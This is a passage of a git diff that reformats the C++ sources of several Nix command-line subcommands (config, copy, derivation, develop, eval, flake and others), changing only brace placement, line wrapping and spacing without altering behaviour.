"profiles") return false; + if (part == "profiles") + return false; return true; }; if (store->isStorePath(userEnv.string()) && hasSuffix(userEnv.string(), "user-environment")) { while (noContainsProfiles() && std::filesystem::is_symlink(profileDir)) - profileDir = fs::weakly_canonical( - profileDir.parent_path() / fs::read_symlink(profileDir)); + profileDir = fs::weakly_canonical(profileDir.parent_path() / fs::read_symlink(profileDir)); if (noContainsProfiles()) dirs.insert(dir); } } catch (SystemError &) { - } catch (std::filesystem::filesystem_error &) {} + } catch (std::filesystem::filesystem_error &) { + } } if (!dirs.empty()) { @@ -141,8 +150,8 @@ struct CmdConfigCheck : StoreCommand bool checkStoreProtocol(unsigned int storeProto) { unsigned int clientProto = GET_PROTOCOL_MAJOR(SERVE_PROTOCOL_VERSION) == GET_PROTOCOL_MAJOR(storeProto) - ? SERVE_PROTOCOL_VERSION - : PROTOCOL_VERSION; + ? SERVE_PROTOCOL_VERSION + : PROTOCOL_VERSION; if (clientProto != storeProto) { std::ostringstream ss; @@ -160,9 +169,7 @@ struct CmdConfigCheck : StoreCommand void checkTrustedUser(ref store) { if (auto trustedMay = store->isTrustedClient()) { - std::string_view trusted = trustedMay.value() - ? "trusted" - : "not trusted"; + std::string_view trusted = trustedMay.value() ? "trusted" : "not trusted"; checkInfo(fmt("You are %s by store uri: %s", trusted, store->getUri())); } else { checkInfo(fmt("Store uri: %s doesn't have a notion of trusted user", store->getUri())); @@ -170,4 +177,4 @@ struct CmdConfigCheck : StoreCommand } }; -static auto rCmdConfigCheck = registerCommand2({ "config", "check" }); +static auto rCmdConfigCheck = registerCommand2({"config", "check"}); diff --git a/src/nix/config.cc b/src/nix/config.cc index cd82b08a6..c2a9fd8e2 100644 --- a/src/nix/config.cc +++ b/src/nix/config.cc @@ -10,22 +10,28 @@ using namespace nix; struct CmdConfig : NixMultiCommand { - CmdConfig() : NixMultiCommand("config", RegisterCommand::getCommandsFor({"config"})) - { } + CmdConfig() + : NixMultiCommand("config", RegisterCommand::getCommandsFor({"config"})) + { + } std::string description() override { return "manipulate the Nix configuration"; } - Category category() override { return catUtility; } + Category category() override + { + return catUtility; + } }; struct CmdConfigShow : Command, MixJSON { std::optional name; - CmdConfigShow() { + CmdConfigShow() + { expectArgs({ .label = {"name"}, .optional = true, @@ -38,7 +44,10 @@ struct CmdConfigShow : Command, MixJSON return "show the Nix configuration or the value of a specific setting"; } - Category category() override { return catUtility; } + Category category() override + { + return catUtility; + } void run() override { diff --git a/src/nix/copy.cc b/src/nix/copy.cc index 013f2a7e3..62e8b64f5 100644 --- a/src/nix/copy.cc +++ b/src/nix/copy.cc @@ -18,7 +18,8 @@ struct CmdCopy : virtual CopyCommand, virtual BuiltPathsCommand, MixProfile addFlag({ .longName = "out-link", .shortName = 'o', - .description = "Create symlinks prefixed with *path* to the top-level store paths fetched from the source store.", + .description = + "Create symlinks prefixed with *path* to the top-level store paths fetched from the source store.", .labels = {"path"}, .handler = {&outLink}, .completer = completePath, @@ -48,11 +49,14 @@ struct CmdCopy : virtual CopyCommand, virtual BuiltPathsCommand, MixProfile std::string doc() override { return - #include "copy.md" - ; +#include "copy.md" + ; } - Category category() override { return catSecondary; } + Category category() override + { + return catSecondary; + } void run(ref srcStore, BuiltPaths && allPaths, BuiltPaths && rootPaths) override { @@ -65,8 +69,7 @@ struct CmdCopy : virtual CopyCommand, virtual BuiltPathsCommand, MixProfile stuffToCopy.insert(theseRealisations.begin(), theseRealisations.end()); } - copyPaths( - *srcStore, *dstStore, stuffToCopy, NoRepair, checkSigs, substitute); + copyPaths(*srcStore, *dstStore, stuffToCopy, NoRepair, checkSigs, substitute); updateProfile(rootPaths); diff --git a/src/nix/derivation-add.cc b/src/nix/derivation-add.cc index e99c44deb..0f797bb20 100644 --- a/src/nix/derivation-add.cc +++ b/src/nix/derivation-add.cc @@ -20,11 +20,14 @@ struct CmdAddDerivation : MixDryRun, StoreCommand std::string doc() override { return - #include "derivation-add.md" - ; +#include "derivation-add.md" + ; } - Category category() override { return catUtility; } + Category category() override + { + return catUtility; + } void run(ref store) override { diff --git a/src/nix/derivation-show.cc b/src/nix/derivation-show.cc index 26108b8b8..1a61ccd5c 100644 --- a/src/nix/derivation-show.cc +++ b/src/nix/derivation-show.cc @@ -33,11 +33,14 @@ struct CmdShowDerivation : InstallablesCommand, MixPrintJSON std::string doc() override { return - #include "derivation-show.md" - ; +#include "derivation-show.md" + ; } - Category category() override { return catUtility; } + Category category() override + { + return catUtility; + } void run(ref store, Installables && installables) override { @@ -52,10 +55,10 @@ struct CmdShowDerivation : InstallablesCommand, MixPrintJSON json jsonRoot = json::object(); for (auto & drvPath : drvPaths) { - if (!drvPath.isDerivation()) continue; + if (!drvPath.isDerivation()) + continue; - jsonRoot[store->printStorePath(drvPath)] = - store->readDerivation(drvPath).toJSON(*store); + jsonRoot[store->printStorePath(drvPath)] = store->readDerivation(drvPath).toJSON(*store); } printJSON(jsonRoot); } diff --git a/src/nix/derivation.cc b/src/nix/derivation.cc index ee62ab4dc..2634048ac 100644 --- a/src/nix/derivation.cc +++ b/src/nix/derivation.cc @@ -4,15 +4,20 @@ using namespace nix; struct CmdDerivation : NixMultiCommand { - CmdDerivation() : NixMultiCommand("derivation", RegisterCommand::getCommandsFor({"derivation"})) - { } + CmdDerivation() + : NixMultiCommand("derivation", RegisterCommand::getCommandsFor({"derivation"})) + { + } std::string description() override { return "Work with derivations, Nix's notion of a build plan."; } - Category category() override { return catUtility; } + Category category() override + { + return catUtility; + } }; static auto rCmdDerivation = registerCommand("derivation"); diff --git a/src/nix/develop.cc b/src/nix/develop.cc index 7e20addf7..251e47369 100644 --- a/src/nix/develop.cc +++ b/src/nix/develop.cc @@ -9,7 +9,7 @@ #include "nix/store/derivations.hh" #ifndef _WIN32 // TODO re-enable on Windows -# include "run.hh" +# include "run.hh" #endif #include @@ -20,20 +20,21 @@ #include "nix/util/strings.hh" -namespace nix::fs { using namespace std::filesystem; } +namespace nix::fs { +using namespace std::filesystem; +} using namespace nix; struct DevelopSettings : Config { - Setting bashPrompt{this, "", "bash-prompt", - "The bash prompt (`PS1`) in `nix develop` shells."}; + Setting bashPrompt{this, "", "bash-prompt", "The bash prompt (`PS1`) in `nix develop` shells."}; - Setting bashPromptPrefix{this, "", "bash-prompt-prefix", - "Prefix prepended to the `PS1` environment variable in `nix develop` shells."}; + Setting bashPromptPrefix{ + this, "", "bash-prompt-prefix", "Prefix prepended to the `PS1` environment variable in `nix develop` shells."}; - Setting bashPromptSuffix{this, "", "bash-prompt-suffix", - "Suffix appended to the `PS1` environment variable in `nix develop` shells."}; + Setting bashPromptSuffix{ + this, "", "bash-prompt-suffix", "Suffix appended to the `PS1` environment variable in `nix develop` shells."}; }; static DevelopSettings developSettings; @@ -47,7 +48,7 @@ struct BuildEnvironment bool exported; std::string value; - bool operator == (const String & other) const + bool operator==(const String & other) const { return exported == other.exported && value == other.value; } @@ -72,7 +73,8 @@ struct BuildEnvironment for (auto & [name, info] : json["variables"].items()) { std::string type = info["type"]; if (type == "var" || type == "exported") - res.vars.insert({name, BuildEnvironment::String { .exported = type == "exported", .value = info["value"] }}); + res.vars.insert( + {name, BuildEnvironment::String{.exported = type == "exported", .value = info["value"]}}); else if (type == "array") res.vars.insert({name, (Array) info["value"]}); else if (type == "associative") @@ -107,12 +109,10 @@ struct BuildEnvironment if (auto str = std::get_if(&value)) { info["type"] = str->exported ? "exported" : "var"; info["value"] = str->value; - } - else if (auto arr = std::get_if(&value)) { + } else if (auto arr = std::get_if(&value)) { info["type"] = "array"; info["value"] = *arr; - } - else if (auto arr = std::get_if(&value)) { + } else if (auto arr = std::get_if(&value)) { info["type"] = "associative"; info["value"] = *arr; } @@ -159,14 +159,12 @@ struct BuildEnvironment out << fmt("%s=%s\n", name, shellEscape(str->value)); if (str->exported) out << fmt("export %s\n", name); - } - else if (auto arr = std::get_if(&value)) { + } else if (auto arr = std::get_if(&value)) { out << "declare -a " << name << "=("; for (auto & s : *arr) out << shellEscape(s) << " "; out << ")\n"; - } - else if (auto arr = std::get_if(&value)) { + } else if (auto arr = std::get_if(&value)) { out << "declare -A " << name << "=("; for (auto & [n, v] : *arr) out << "[" << shellEscape(n) << "]=" << shellEscape(v) << " "; @@ -206,12 +204,11 @@ struct BuildEnvironment Array assocKeys; std::for_each(assoc->begin(), assoc->end(), [&](auto & n) { assocKeys.push_back(n.first); }); return assocKeys; - } - else + } else throw Error("bash variable is not a string or array"); } - bool operator == (const BuildEnvironment & other) const + bool operator==(const BuildEnvironment & other) const { return vars == other.vars && bashFunctions == other.bashFunctions; } @@ -226,7 +223,7 @@ struct BuildEnvironment }; const static std::string getEnvSh = - #include "get-env.sh.gen.hh" +#include "get-env.sh.gen.hh" ; /* Given an existing derivation, return the shell environment as @@ -243,9 +240,14 @@ static StorePath getDerivationEnvironment(ref store, ref evalStore throw Error("'nix develop' only works on derivations that use 'bash' as their builder"); auto getEnvShPath = ({ - StringSource source { getEnvSh }; + StringSource source{getEnvSh}; evalStore->addToStoreFromDump( - source, "get-env.sh", FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, {}); + source, + "get-env.sh", + FileSerialisationMethod::Flat, + ContentAddressMethod::Raw::Text, + HashAlgorithm::SHA256, + {}); }); drv.args = {store->printStorePath(getEnvShPath)}; @@ -264,12 +266,11 @@ static StorePath getDerivationEnvironment(ref store, ref evalStore drv.inputSrcs.insert(std::move(getEnvShPath)); if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { for (auto & output : drv.outputs) { - output.second = DerivationOutput::Deferred {}, - drv.env[output.first] = hashPlaceholder(output.first); + output.second = DerivationOutput::Deferred{}, drv.env[output.first] = hashPlaceholder(output.first); } } else { for (auto & output : drv.outputs) { - output.second = DerivationOutput::Deferred { }; + output.second = DerivationOutput::Deferred{}; drv.env[output.first] = ""; } auto hashesModulo = hashDerivationModulo(*evalStore, drv, true); @@ -277,7 +278,7 @@ static StorePath getDerivationEnvironment(ref store, ref evalStore for (auto & output : drv.outputs) { Hash h = hashesModulo.hashes.at(output.first); auto outPath = store->makeOutputPath(output.first, h, drv.name); - output.second = DerivationOutput::InputAddressed { + output.second = DerivationOutput::InputAddressed{ .path = outPath, }; drv.env[output.first] = store->printStorePath(outPath); @@ -288,11 +289,12 @@ static StorePath getDerivationEnvironment(ref store, ref evalStore /* Build the derivation. */ store->buildPaths( - { DerivedPath::Built { + {DerivedPath::Built{ .drvPath = makeConstantStorePathRef(shellDrvPath), - .outputs = OutputsSpec::All { }, + .outputs = OutputsSpec::All{}, }}, - bmNormal, evalStore); + bmNormal, + evalStore); for (auto & [_0, optPath] : evalStore->queryPartialDerivationOutputMap(shellDrvPath)) { assert(optPath); @@ -345,7 +347,7 @@ struct Common : InstallableCommand, MixProfile ref store, const BuildEnvironment & buildEnvironment, const std::filesystem::path & tmpDir, - const std::filesystem::path & outputsDir = fs::path { fs::current_path() } / "outputs") + const std::filesystem::path & outputsDir = fs::path{fs::current_path()} / "outputs") { // A list of colon-separated environment variables that should be // prepended to, rather than overwritten, in order to keep the shell usable. @@ -384,10 +386,7 @@ struct Common : InstallableCommand, MixProfile StringMap rewrites; if (buildEnvironment.providesStructuredAttrs()) { for (auto & [outputName, from] : BuildEnvironment::getAssociative(outputs->second)) { - rewrites.insert({ - from, - (outputsDir / outputName).string() - }); + rewrites.insert({from, (outputsDir / outputName).string()}); } } else { for (auto & outputName : BuildEnvironment::getStrings(outputs->second)) { @@ -404,9 +403,9 @@ struct Common : InstallableCommand, MixProfile for (auto & [installable_, dir_] : redirects) { auto dir = absPath(dir_); auto installable = parseInstallable(store, installable_); - auto builtPaths = Installable::toStorePathSet( - getEvalStore(), store, Realise::Nothing, OperateOn::Output, {installable}); - for (auto & path: builtPaths) { + auto builtPaths = + Installable::toStorePathSet(getEvalStore(), store, Realise::Nothing, OperateOn::Output, {installable}); + for (auto & path : builtPaths) { auto from = store->printStorePath(path); if (script.find(from) == std::string::npos) warn("'%s' (path '%s') is not used by this build environment", installable->what(), from); @@ -419,21 +418,14 @@ struct Common : InstallableCommand, MixProfile if (buildEnvironment.providesStructuredAttrs()) { fixupStructuredAttrs( - OS_STR("sh"), - "NIX_ATTRS_SH_FILE", - buildEnvironment.getAttrsSH(), - rewrites, - buildEnvironment, - tmpDir - ); + OS_STR("sh"), "NIX_ATTRS_SH_FILE", buildEnvironment.getAttrsSH(), rewrites, buildEnvironment, tmpDir); fixupStructuredAttrs( OS_STR("json"), "NIX_ATTRS_JSON_FILE", buildEnvironment.getAttrsJSON(), rewrites, buildEnvironment, - tmpDir - ); + tmpDir); } return rewriteStrings(script, rewrites); @@ -488,8 +480,10 @@ struct Common : InstallableCommand, MixProfile auto drvs = Installable::toDerivations(store, {installable}); if (drvs.size() != 1) - throw Error("'%s' needs to evaluate to a single derivation, but it evaluated to %d derivations", - installable->what(), drvs.size()); + throw Error( + "'%s' needs to evaluate to a single derivation, but it evaluated to %d derivations", + installable->what(), + drvs.size()); auto & drvPath = *drvs.begin(); @@ -497,8 +491,7 @@ struct Common : InstallableCommand, MixProfile } } - std::pair - getBuildEnvironment(ref store, ref installable) + std::pair getBuildEnvironment(ref store, ref installable) { auto shellOutPath = getShellOutPath(store, installable); @@ -525,7 +518,8 @@ struct CmdDevelop : Common, MixEnvironment .description = "Instead of starting an interactive shell, start the specified command and arguments.", .labels = {"command", "args"}, .handler = {[&](std::vector ss) { - if (ss.empty()) throw UsageError("--command requires at least one argument"); + if (ss.empty()) + throw UsageError("--command requires at least one argument"); command = ss; }}, }); @@ -582,8 +576,8 @@ struct CmdDevelop : Common, MixEnvironment std::string doc() override { return - #include "develop.md" - ; +#include "develop.md" + ; } void run(ref store, ref installable) override @@ -619,16 +613,15 @@ struct CmdDevelop : Common, MixEnvironment } else { - script = "[ -n \"$PS1\" ] && [ -e ~/.bashrc ] && source ~/.bashrc;\nshopt -u expand_aliases\n" + script + "\nshopt -s expand_aliases\n"; + script = "[ -n \"$PS1\" ] && [ -e ~/.bashrc ] && source ~/.bashrc;\nshopt -u expand_aliases\n" + script + + "\nshopt -s expand_aliases\n"; if (developSettings.bashPrompt != "") - script += fmt("[ -n \"$PS1\" ] && PS1=%s;\n", - shellEscape(developSettings.bashPrompt.get())); + script += fmt("[ -n \"$PS1\" ] && PS1=%s;\n", shellEscape(developSettings.bashPrompt.get())); if (developSettings.bashPromptPrefix != "") - script += fmt("[ -n \"$PS1\" ] && PS1=%s\"$PS1\";\n", - shellEscape(developSettings.bashPromptPrefix.get())); + script += + fmt("[ -n \"$PS1\" ] && PS1=%s\"$PS1\";\n", shellEscape(developSettings.bashPromptPrefix.get())); if (developSettings.bashPromptSuffix != "") - script += fmt("[ -n \"$PS1\" ] && PS1+=%s;\n", - shellEscape(developSettings.bashPromptSuffix.get())); + script += fmt("[ -n \"$PS1\" ] && PS1+=%s;\n", shellEscape(developSettings.bashPromptSuffix.get())); } writeFull(rcFileFd.get(), script); @@ -662,7 +655,8 @@ struct CmdDevelop : Common, MixEnvironment bool found = false; - for (auto & path : Installable::toStorePathSet(getEvalStore(), store, Realise::Outputs, OperateOn::Output, {bashInstallable})) { + for (auto & path : Installable::toStorePathSet( + getEvalStore(), store, Realise::Outputs, OperateOn::Output, {bashInstallable})) { auto s = store->printStorePath(path) + "/bin/bash"; if (pathExists(s)) { shell = s; @@ -688,7 +682,7 @@ struct CmdDevelop : Common, MixEnvironment // If running a phase or single command, don't want an interactive shell running after // Ctrl-C, so don't pass --rcfile auto args = phase || !command.empty() ? Strings{std::string(baseNameOf(shell)), rcFilePath} - : Strings{std::string(baseNameOf(shell)), "--rcfile", rcFilePath}; + : Strings{std::string(baseNameOf(shell)), "--rcfile", rcFilePath}; // Need to chdir since phases assume in flake directory if (phase) { @@ -723,11 +717,14 @@ struct CmdPrintDevEnv : Common, MixJSON std::string doc() override { return - #include "print-dev-env.md" - ; +#include "print-dev-env.md" + ; } - Category category() override { return catUtility; } + Category category() override + { + return catUtility; + } void run(ref store, ref installable) override { diff --git a/src/nix/diff-closures.cc b/src/nix/diff-closures.cc index c4d21db6f..1b7a148e0 100644 --- a/src/nix/diff-closures.cc +++ b/src/nix/diff-closures.cc @@ -41,7 +41,7 @@ GroupedPaths getClosureInfo(ref store, const StorePath & toplevel) } DrvName drvName(name); - groupedPaths[drvName.name][drvName.version].emplace(path, Info { .outputName = outputName }); + groupedPaths[drvName.name][drvName.version].emplace(path, Info{.outputName = outputName}); } return groupedPaths; @@ -49,7 +49,8 @@ GroupedPaths getClosureInfo(ref store, const StorePath & toplevel) std::string showVersions(const std::set & versions) { - if (versions.empty()) return "∅"; + if (versions.empty()) + return "∅"; std::set versions2; for (auto & version : versions) versions2.insert(version.empty() ? "ε" : version); @@ -57,24 +58,22 @@ std::string showVersions(const std::set & versions) } void printClosureDiff( - ref store, - const StorePath & beforePath, - const StorePath & afterPath, - std::string_view indent) + ref store, const StorePath & beforePath, const StorePath & afterPath, std::string_view indent) { auto beforeClosure = getClosureInfo(store, beforePath); auto afterClosure = getClosureInfo(store, afterPath); std::set allNames; - for (auto & [name, _] : beforeClosure) allNames.insert(name); - for (auto & [name, _] : afterClosure) allNames.insert(name); + for (auto & [name, _] : beforeClosure) + allNames.insert(name); + for (auto & [name, _] : afterClosure) + allNames.insert(name); for (auto & name : allNames) { auto & beforeVersions = beforeClosure[name]; auto & afterVersions = afterClosure[name]; - auto totalSize = [&](const std::map> & versions) - { + auto totalSize = [&](const std::map> & versions) { uint64_t sum = 0; for (auto & [_, paths] : versions) for (auto & [path, _] : paths) @@ -89,18 +88,23 @@ void printClosureDiff( std::set removed, unchanged; for (auto & [version, _] : beforeVersions) - if (!afterVersions.count(version)) removed.insert(version); else unchanged.insert(version); + if (!afterVersions.count(version)) + removed.insert(version); + else + unchanged.insert(version); std::set added; for (auto & [version, _] : afterVersions) - if (!beforeVersions.count(version)) added.insert(version); + if (!beforeVersions.count(version)) + added.insert(version); if (showDelta || !removed.empty() || !added.empty()) { std::vector items; if (!removed.empty() || !added.empty()) items.push_back(fmt("%s → %s", showVersions(removed), showVersions(added))); if (showDelta) - items.push_back(fmt("%s%+.1f KiB" ANSI_NORMAL, sizeDelta > 0 ? ANSI_RED : ANSI_GREEN, sizeDelta / 1024.0)); + items.push_back( + fmt("%s%+.1f KiB" ANSI_NORMAL, sizeDelta > 0 ? ANSI_RED : ANSI_GREEN, sizeDelta / 1024.0)); logger->cout("%s%s: %s", indent, name, concatStringsSep(", ", items)); } } @@ -128,8 +132,8 @@ struct CmdDiffClosures : SourceExprCommand, MixOperateOnOptions std::string doc() override { return - #include "diff-closures.md" - ; +#include "diff-closures.md" + ; } void run(ref store) override diff --git a/src/nix/dump-path.cc b/src/nix/dump-path.cc index c883630b1..8475655e9 100644 --- a/src/nix/dump-path.cc +++ b/src/nix/dump-path.cc @@ -14,8 +14,8 @@ struct CmdDumpPath : StorePathCommand std::string doc() override { return - #include "store-dump-path.md" - ; +#include "store-dump-path.md" + ; } void run(ref store, const StorePath & storePath) override @@ -34,11 +34,7 @@ struct CmdDumpPath2 : Command CmdDumpPath2() { - expectArgs({ - .label = "path", - .handler = {&path}, - .completer = completePath - }); + expectArgs({.label = "path", .handler = {&path}, .completer = completePath}); } std::string description() override @@ -49,8 +45,8 @@ struct CmdDumpPath2 : Command std::string doc() override { return - #include "nar-dump-path.md" - ; +#include "nar-dump-path.md" + ; } void run() override @@ -61,8 +57,10 @@ struct CmdDumpPath2 : Command } }; -struct CmdNarDumpPath : CmdDumpPath2 { - void run() override { +struct CmdNarDumpPath : CmdDumpPath2 +{ + void run() override + { warn("'nix nar dump-path' is a deprecated alias for 'nix nar pack'"); CmdDumpPath2::run(); } diff --git a/src/nix/edit.cc b/src/nix/edit.cc index cfb9eb74a..0657301f3 100644 --- a/src/nix/edit.cc +++ b/src/nix/edit.cc @@ -19,11 +19,14 @@ struct CmdEdit : InstallableValueCommand std::string doc() override { return - #include "edit.md" - ; +#include "edit.md" + ; } - Category category() override { return catSecondary; } + Category category() override + { + return catSecondary; + } void run(ref store, ref installable) override { @@ -48,7 +51,8 @@ struct CmdEdit : InstallableValueCommand execvp(args.front().c_str(), stringsToCharPtrs(args).data()); std::string command; - for (const auto &arg : args) command += " '" + arg + "'"; + for (const auto & arg : args) + command += " '" + arg + "'"; throw SysError("cannot run command%s", command); } }; diff --git a/src/nix/eval.cc b/src/nix/eval.cc index 6a9bd2f16..fe32ed4ef 100644 --- a/src/nix/eval.cc +++ b/src/nix/eval.cc @@ -10,7 +10,9 @@ using namespace nix; -namespace nix::fs { using namespace std::filesystem; } +namespace nix::fs { +using namespace std::filesystem; +} struct CmdEval : MixJSON, InstallableValueCommand, MixReadOnlyOption { @@ -18,7 +20,8 @@ struct CmdEval : MixJSON, InstallableValueCommand, MixReadOnlyOption std::optional apply; std::optional writeTo; - CmdEval() : InstallableValueCommand() + CmdEval() + : InstallableValueCommand() { addFlag({ .longName = "raw", @@ -49,11 +52,14 @@ struct CmdEval : MixJSON, InstallableValueCommand, MixReadOnlyOption std::string doc() override { return - #include "eval.md" - ; +#include "eval.md" + ; } - Category category() override { return catSecondary; } + Category category() override + { + return catSecondary; + } void run(ref store, ref installable) override { @@ -81,8 +87,7 @@ struct CmdEval : MixJSON, InstallableValueCommand, MixReadOnlyOption std::function recurse; - recurse = [&](Value & v, const PosIdx pos, const fs::path & path) - { + recurse = [&](Value & v, const PosIdx pos, const fs::path & path) { state->forceValue(v, pos); if (v.type() == nString) // FIXME: disallow strings with contexts? @@ -99,14 +104,13 @@ struct CmdEval : MixJSON, InstallableValueCommand, MixReadOnlyOption recurse(*attr.value, attr.pos, path / name); } catch (Error & e) { e.addTrace( - state->positions[attr.pos], - HintFmt("while evaluating the attribute '%s'", name)); + state->positions[attr.pos], HintFmt("while evaluating the attribute '%s'", name)); throw; } } - } - else - state->error("value at '%s' is not a string or an attribute set", state->positions[pos]).debugThrow(); + } else + state->error("value at '%s' is not a string or an attribute set", state->positions[pos]) + .debugThrow(); }; recurse(*v, pos, *writeTo); @@ -114,7 +118,9 @@ struct CmdEval : MixJSON, InstallableValueCommand, MixReadOnlyOption else if (raw) { logger->stop(); - writeFull(getStandardOutput(), *state->coerceToString(noPos, *v, context, "while generating the eval command output")); + writeFull( + getStandardOutput(), + *state->coerceToString(noPos, *v, context, "while generating the eval command output")); } else if (json) { @@ -122,17 +128,7 @@ struct CmdEval : MixJSON, InstallableValueCommand, MixReadOnlyOption } else { - logger->cout( - "%s", - ValuePrinter( - *state, - *v, - PrintOptions { - .force = true, - .derivationPaths = true - } - ) - ); + logger->cout("%s", ValuePrinter(*state, *v, PrintOptions{.force = true, .derivationPaths = true})); } } }; diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 3d174dc53..1b0abc166 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -26,7 +26,9 @@ #include "nix/util/strings-inline.hh" -namespace nix::fs { using namespace std::filesystem; } +namespace nix::fs { +using namespace std::filesystem; +} using namespace nix; using namespace nix::flake; @@ -42,19 +44,18 @@ public: FlakeCommand() { - expectArgs({ - .label = "flake-url", - .optional = true, - .handler = {&flakeUrl}, - .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { - completeFlakeRef(completions, getStore(), prefix); - }} - }); + expectArgs( + {.label = "flake-url", + .optional = true, + .handler = {&flakeUrl}, + .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { + completeFlakeRef(completions, getStore(), prefix); + }}}); } FlakeRef getFlakeRef() { - return parseFlakeRef(fetchSettings, flakeUrl, fs::current_path().string()); //FIXME + return parseFlakeRef(fetchSettings, flakeUrl, fs::current_path().string()); // FIXME } LockedFlake lockFlake() @@ -64,10 +65,8 @@ public: std::vector getFlakeRefsForCompletion() override { - return { - // Like getFlakeRef but with expandTilde calld first - parseFlakeRef(fetchSettings, expandTilde(flakeUrl), fs::current_path().string()) - }; + return {// Like getFlakeRef but with expandTilde calld first + parseFlakeRef(fetchSettings, expandTilde(flakeUrl), fs::current_path().string())}; } }; @@ -84,28 +83,33 @@ public: { expectedArgs.clear(); addFlag({ - .longName="flake", - .description="The flake to operate on. Default is the current directory.", - .labels={"flake-url"}, - .handler={&flakeUrl}, + .longName = "flake", + .description = "The flake to operate on. Default is the current directory.", + .labels = {"flake-url"}, + .handler = {&flakeUrl}, .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { completeFlakeRef(completions, getStore(), prefix); }}, }); expectArgs({ - .label="inputs", - .optional=true, - .handler={[&](std::vector inputsToUpdate){ + .label = "inputs", + .optional = true, + .handler = {[&](std::vector inputsToUpdate) { for (const auto & inputToUpdate : inputsToUpdate) { InputAttrPath inputAttrPath; try { inputAttrPath = flake::parseInputAttrPath(inputToUpdate); } catch (Error & e) { - warn("Invalid flake input '%s'. To update a specific flake, use 'nix flake update --flake %s' instead.", inputToUpdate, inputToUpdate); + warn( + "Invalid flake input '%s'. To update a specific flake, use 'nix flake update --flake %s' instead.", + inputToUpdate, + inputToUpdate); throw e; } if (lockFlags.inputUpdates.contains(inputAttrPath)) - warn("Input '%s' was specified multiple times. You may have done this by accident.", printInputAttrPath(inputAttrPath)); + warn( + "Input '%s' was specified multiple times. You may have done this by accident.", + printInputAttrPath(inputAttrPath)); lockFlags.inputUpdates.insert(inputAttrPath); } }}, @@ -122,8 +126,8 @@ public: std::string doc() override { return - #include "flake-update.md" - ; +#include "flake-update.md" + ; } void run(nix::ref store) override @@ -155,8 +159,8 @@ struct CmdFlakeLock : FlakeCommand std::string doc() override { return - #include "flake-lock.md" - ; +#include "flake-lock.md" + ; } void run(nix::ref store) override @@ -171,7 +175,9 @@ struct CmdFlakeLock : FlakeCommand } }; -static void enumerateOutputs(EvalState & state, Value & vFlake, +static void enumerateOutputs( + EvalState & state, + Value & vFlake, std::function callback) { auto pos = vFlake.determinePos(noPos); @@ -206,8 +212,8 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON std::string doc() override { return - #include "flake-metadata.md" - ; +#include "flake-metadata.md" + ; } void run(nix::ref store) override @@ -244,40 +250,25 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON j["fingerprint"] = fingerprint->to_string(HashFormat::Base16, false); printJSON(j); } else { - logger->cout( - ANSI_BOLD "Resolved URL:" ANSI_NORMAL " %s", - flake.resolvedRef.to_string()); + logger->cout(ANSI_BOLD "Resolved URL:" ANSI_NORMAL " %s", flake.resolvedRef.to_string()); if (flake.lockedRef.input.isLocked()) - logger->cout( - ANSI_BOLD "Locked URL:" ANSI_NORMAL " %s", - flake.lockedRef.to_string()); + logger->cout(ANSI_BOLD "Locked URL:" ANSI_NORMAL " %s", flake.lockedRef.to_string()); if (flake.description) - logger->cout( - ANSI_BOLD "Description:" ANSI_NORMAL " %s", - *flake.description); - logger->cout( - ANSI_BOLD "Path:" ANSI_NORMAL " %s", - storePath); + logger->cout(ANSI_BOLD "Description:" ANSI_NORMAL " %s", *flake.description); + logger->cout(ANSI_BOLD "Path:" ANSI_NORMAL " %s", storePath); if (auto rev = flake.lockedRef.input.getRev()) - logger->cout( - ANSI_BOLD "Revision:" ANSI_NORMAL " %s", - rev->to_string(HashFormat::Base16, false)); + logger->cout(ANSI_BOLD "Revision:" ANSI_NORMAL " %s", rev->to_string(HashFormat::Base16, false)); if (auto dirtyRev = fetchers::maybeGetStrAttr(flake.lockedRef.toAttrs(), "dirtyRev")) - logger->cout( - ANSI_BOLD "Revision:" ANSI_NORMAL " %s", - *dirtyRev); + logger->cout(ANSI_BOLD "Revision:" ANSI_NORMAL " %s", *dirtyRev); if (auto revCount = flake.lockedRef.input.getRevCount()) - logger->cout( - ANSI_BOLD "Revisions:" ANSI_NORMAL " %s", - *revCount); + logger->cout(ANSI_BOLD "Revisions:" ANSI_NORMAL " %s", *revCount); if (auto lastModified = flake.lockedRef.input.getLastModified()) logger->cout( ANSI_BOLD "Last modified:" ANSI_NORMAL " %s", std::put_time(std::localtime(&*lastModified), "%F %T")); if (auto fingerprint = lockedFlake.getFingerprint(store, fetchSettings)) logger->cout( - ANSI_BOLD "Fingerprint:" ANSI_NORMAL " %s", - fingerprint->to_string(HashFormat::Base16, false)); + ANSI_BOLD "Fingerprint:" ANSI_NORMAL " %s", fingerprint->to_string(HashFormat::Base16, false)); if (!lockedFlake.lockFile.root->inputs.empty()) logger->cout(ANSI_BOLD "Inputs:" ANSI_NORMAL); @@ -286,8 +277,7 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON std::function recurse; - recurse = [&](const Node & node, const std::string & prefix) - { + recurse = [&](const Node & node, const std::string & prefix) { for (const auto & [i, input] : enumerate(node.inputs)) { bool last = i + 1 == node.inputs.size(); @@ -295,17 +285,22 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON std::string lastModifiedStr = ""; if (auto lastModified = (*lockedNode)->lockedRef.input.getLastModified()) lastModifiedStr = fmt(" (%s)", std::put_time(std::gmtime(&*lastModified), "%F %T")); - logger->cout("%s" ANSI_BOLD "%s" ANSI_NORMAL ": %s%s", - prefix + (last ? treeLast : treeConn), input.first, + logger->cout( + "%s" ANSI_BOLD "%s" ANSI_NORMAL ": %s%s", + prefix + (last ? treeLast : treeConn), + input.first, (*lockedNode)->lockedRef, lastModifiedStr); bool firstVisit = visited.insert(*lockedNode).second; - if (firstVisit) recurse(**lockedNode, prefix + (last ? treeNull : treeLine)); + if (firstVisit) + recurse(**lockedNode, prefix + (last ? treeNull : treeLine)); } else if (auto follows = std::get_if<1>(&input.second)) { - logger->cout("%s" ANSI_BOLD "%s" ANSI_NORMAL " follows input '%s'", - prefix + (last ? treeLast : treeConn), input.first, + logger->cout( + "%s" ANSI_BOLD "%s" 